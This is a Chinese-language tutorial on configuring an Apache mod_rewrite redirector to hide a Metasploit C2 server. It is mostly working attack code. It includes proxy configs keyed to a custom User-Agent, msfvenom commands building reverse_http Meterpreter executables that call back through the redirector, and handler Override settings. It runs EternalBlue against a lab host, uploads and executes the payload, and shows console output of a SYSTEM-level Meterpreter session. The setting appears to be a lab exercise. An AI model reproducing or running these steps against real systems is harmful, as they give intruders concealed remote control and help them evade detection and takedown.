C2重定向器配置技术
定义
如果单纯的部署一个C2服务器那么很容易被识别,然后被关停,但如果使用重定向器,那么就可以对服务器进行一定程度的隐藏:

C2 和重定向器与受害者回连的示意图
但只是这样是不够的,一旦被识别还是容易被关停,那么可以使用防火墙进行隔离,防止其他访问:

C2 服务器和重定向器应该如何交互的示意图
设置重定向
使用apache中的 mod_rewrite 模块实现能够根据特定的http头或内容进行转发,根据规则将请求转发到服务器上的内部或外部主机,配合msfconsole的meterpreter实现重定向。
以下模块必须启用:
- rewrite
- proxy
- proxy_http
- headers
安装Apache并启用模块
apt update
apt install apache2 -y
a2enmod rewrite proxy proxy_http headers
systemctl restart apache2
修改 Apache 配置文件
修改apache配置,以实现对数据包的识别、转发,修改 /etc/apache2/sites-available/000-default.conf 文件内容(Debian系统)
在 VirtualHost 部分的新行上添加 RewriteEngine On ,因为只需要匹配 User-Agent "NotMeterpreter",所以使用一些基本的正则表达式来捕获它即可:
- 添加一个
^表示字符串的开始,并在序列末尾添加一个$,即:"^NotMeterpreter$"。
PS:这个正则表达式将只捕获 NotMeterpreter User-Agent。可以将此行:
RewriteCond %{HTTP_USER_AGENT} "^NotMeterpreter$"添加到配置中,实现仅允许具有 NotMeterpreter 用户代理的 HTTP 请求访问 Metasploit。
修改后的配置文件参考:
┌──(root㉿kali)-[/home/kali/Downloads]
└─# cat /etc/apache2/sites-available/000-default.conf | grep -v '#'
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} "^NotMeterpreter$"
ProxyPass "/" "http://localhost:8080/"
<Directory /var/www/html>
AllowOverride All
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
┌──(root㉿kali)-[/home/kali]
└─# systemctl restart apache2
生成带有修改头部的有效载荷
msfvenom -p windows/meterpreter/reverse_http LHOST=<重定向器ip> LPORT=80 HttpUserAgent=NotMeterpreter -f exe -o shell.exe
PS:重要参数
LHOST=10.13.82.5:Payload回调地址指向Kali(重定向器)。HttpUserAgent=NotMeterpreter:与Apache的Rewrite规则匹配。
投送payload
使用初次连接利用web投送文件
建立一个临时连接,将payload投送执行后,使目标与重定向器建立连接,随后断开临时连接即可。
将payload上传到目标主机后,通过抓包就可以看到数据包中包含了设置的UA头:

抓取修改后的 HTTP 负载的 Meterpreter 数据包
设置Exploit/Multi/Handler
在meterpreter中需要设置LHOST,在这里的案例中是设置为本地,即:127.0.0.1,但实际攻击的时候,需要设置为公共ip,在本案例中使用8080端口。
然后需要设置OverrideLHOST和OverrideLPORT,这是重定向器的ip或域名和端口,还必须将 OverrideRequestHost 设置为 true。这将使 Meterpreter 以 OverrideHost 信息响应,因此所有查询都将通过重定向器而不是 C2 服务器进行。
# 启动 msfconsole:
msfconsole
# 使用 multi/handler:
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
# 设置监听参数
# 为了使 Kali 同时处理内部连接和对外显示,配置如下参数:
# 内部监听:由于 Apache 代理转发到本机,内部监听使用 127.0.0.1 和端口 8080:
set LHOST 127.0.0.1
set LPORT 8080
set ReverseListenerBindAddress 127.0.0.1
set ReverseListenerBindPort 8080
# 对外覆盖参数:因为实际目标需要通过重定向器与之通信,所以需要覆盖 LHOST 为 Kali 的实际 IP(10.13.82.5)以及端口 80(重定向器监听的端口):
set OverrideLHOST 10.13.82.5
set OverrideLPORT 80
set OverrideRequestHost true # 确保 HTTP User-Agent
# 确保生成的 payload 与 Apache 重定向规则匹配:
set HttpUserAgent NotMeterpreter
# 启动监听,此时,Metasploit 会在 http://127.0.0.1:8080 上等待来自带有特定 User-Agent 的 HTTP 请求:
run
设置完成后,运行 Meterpreter 反向 Shell 应会将所有通信通过重定向器进行代理!实现的示意图如下:

实验室重定向器设置
PS:在实际操作中,一般是使用多个主机和 DNS 记录而不是 IP 地址。
实操案例
配置表:
主机 职责 10.13.82.5 C2服务器 10.10.250.149 重定向器 10.10.181.215 目标主机(存在永恒之蓝)
配置转发器机器(10.10.250.149)
A. 安装并配置 Apache
# 安装 Apache(如果尚未安装):
apt install apache2
# 启用所需模块:
a2enmod rewrite;a2enmod proxy;a2enmod proxy_http;a2enmod headers
# 重启 Apache 服务:
systemctl restart apache2
# 修改 Apache 端口监听设置,确保 Apache 同时监听 80 端口和 5566 端口。编辑 /etc/apache2/ports.conf 文件,添加一个监听端口
vim /etc/apache2/ports.conf
Listen 5566
# 新建一个新的虚拟主机配置文件 /etc/apache2/sites-available/redirector.conf,添加内容:
vim /etc/apache2/sites-available/redirector.conf
<VirtualHost *:5566>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/redirector
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} "^NotMeterpreter$"
ProxyPass "/" "http://10.13.82.5:8080/"
ProxyPassReverse "/" "http://10.13.82.5:8080/"
<Directory /var/www/redirector>
AllowOverride All
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/redirector_error.log
CustomLog ${APACHE_LOG_DIR}/redirector_access.log combined
</VirtualHost>
# 启用新建的虚拟主机
a2ensite redirector.conf
systemctl reload apache2
这里是因为转发器的80端口另有它用,所以启用了另一个监听端口5566,如果就是80端口的话,那就只需要修改
/etc/apache2/sites-available/000-default.conf的内容即可。
配置真实 C2(Kali 10.13.82.5)上的 Metasploit Handler
在 Kali 上使用 Metasploit 配置 multi/handler,关键配置如下:
# 启动 msfconsole 并载入模块:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
# 配置内部监听参数,因 Apache 代理会将连接转发到本机,所以内部监听绑定在 127.0.0.1:8080
set LHOST 0.0.0.0
set LPORT 8080
set ReverseListenerBindAddress 0.0.0.0
set ReverseListenerBindPort 8080
# 设置 Override 参数,让目标看到连接为转发器地址:将 OverrideLHOST 设为转发器 IP(10.10.250.149),OverrideLPORT 设为转发器的监听端口 5566
set OverrideLHOST 10.10.250.149
set OverrideLPORT 5566
set OverrideRequestHost true
# 设置 HttpUserAgent(在 Apache 端配置的匹配规则):
set HttpUserAgent NotMeterpreter
# 启动
run
这样配置完成后,尽管 Metasploit 实际监听在本机 127.0.0.1:8080,但回连信息中目标将看到的是 10.10.250.149:5566,由转发器转发。
建立临时会话
这里利用永恒之蓝漏洞建立一个临时会话,将payload投送、执行后断开。
use exploit/windows/smb/ms17_010_eternalblue
set LHOST 10.13.82.5
set RHOST 10.10.181.215
run
生成payload并投送
使用命令生成Windows可执行文件:
msfvenom -p windows/meterpreter/reverse_http LHOST=10.10.250.149 LPORT=5566 HttpUserAgent=NotMeterpreter -f exe -o shell.exe
在meterpreter会话中投送、执行payload:
# 投送payload
upload shell.exe %TEMP%\\shell.exe
# 验证是否存在
ls C:/Windows/TEMP
# 执行
execute -f C:/Windows/TEMP/shell.exe
# 验证进程
ps | grep "shell"
成功获取新的shell:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf6 exploit(multi/handler) > set ReverseListenerBindAddress 0.0.0.0
ReverseListenerBindAddress => 0.0.0.0
msf6 exploit(multi/handler) > set ReverseListenerBindPort 8080
ReverseListenerBindPort => 8080
msf6 exploit(multi/handler) > set OverrideLHOST 10.10.250.149
OverrideLHOST => 10.10.250.149
msf6 exploit(multi/handler) > set OverrideLPORT 5566
OverrideLPORT => 5566
msf6 exploit(multi/handler) > set OverrideRequestHost true
OverrideRequestHost => true
msf6 exploit(multi/handler) > set HttpUserAgent NotMeterpreter
HttpUserAgent => NotMeterpreter
msf6 exploit(multi/handler) > run
[*] Started HTTP reverse handler on http://0.0.0.0:8080
[*] http://0.0.0.0:8080 handling request from 10.10.250.149; (UUID: pmeajli4) Staging x86 payload (178780 bytes) ...
[*] Meterpreter session 1 opened (10.13.82.5:8080 -> 10.10.250.149:48876) at 2025-04-08 05:04:47 -0400
meterpreter > getpid
Current pid: 1260
meterpreter > ps | grep "shell"
Filtering on 'shell'
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
1260 1112 shell2.exe x86 0 NT AUTHORITY\SYSTEM C:\Windows\TEMP\shell2.exe
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
转发器日志:


浙公网安备 33010602011771号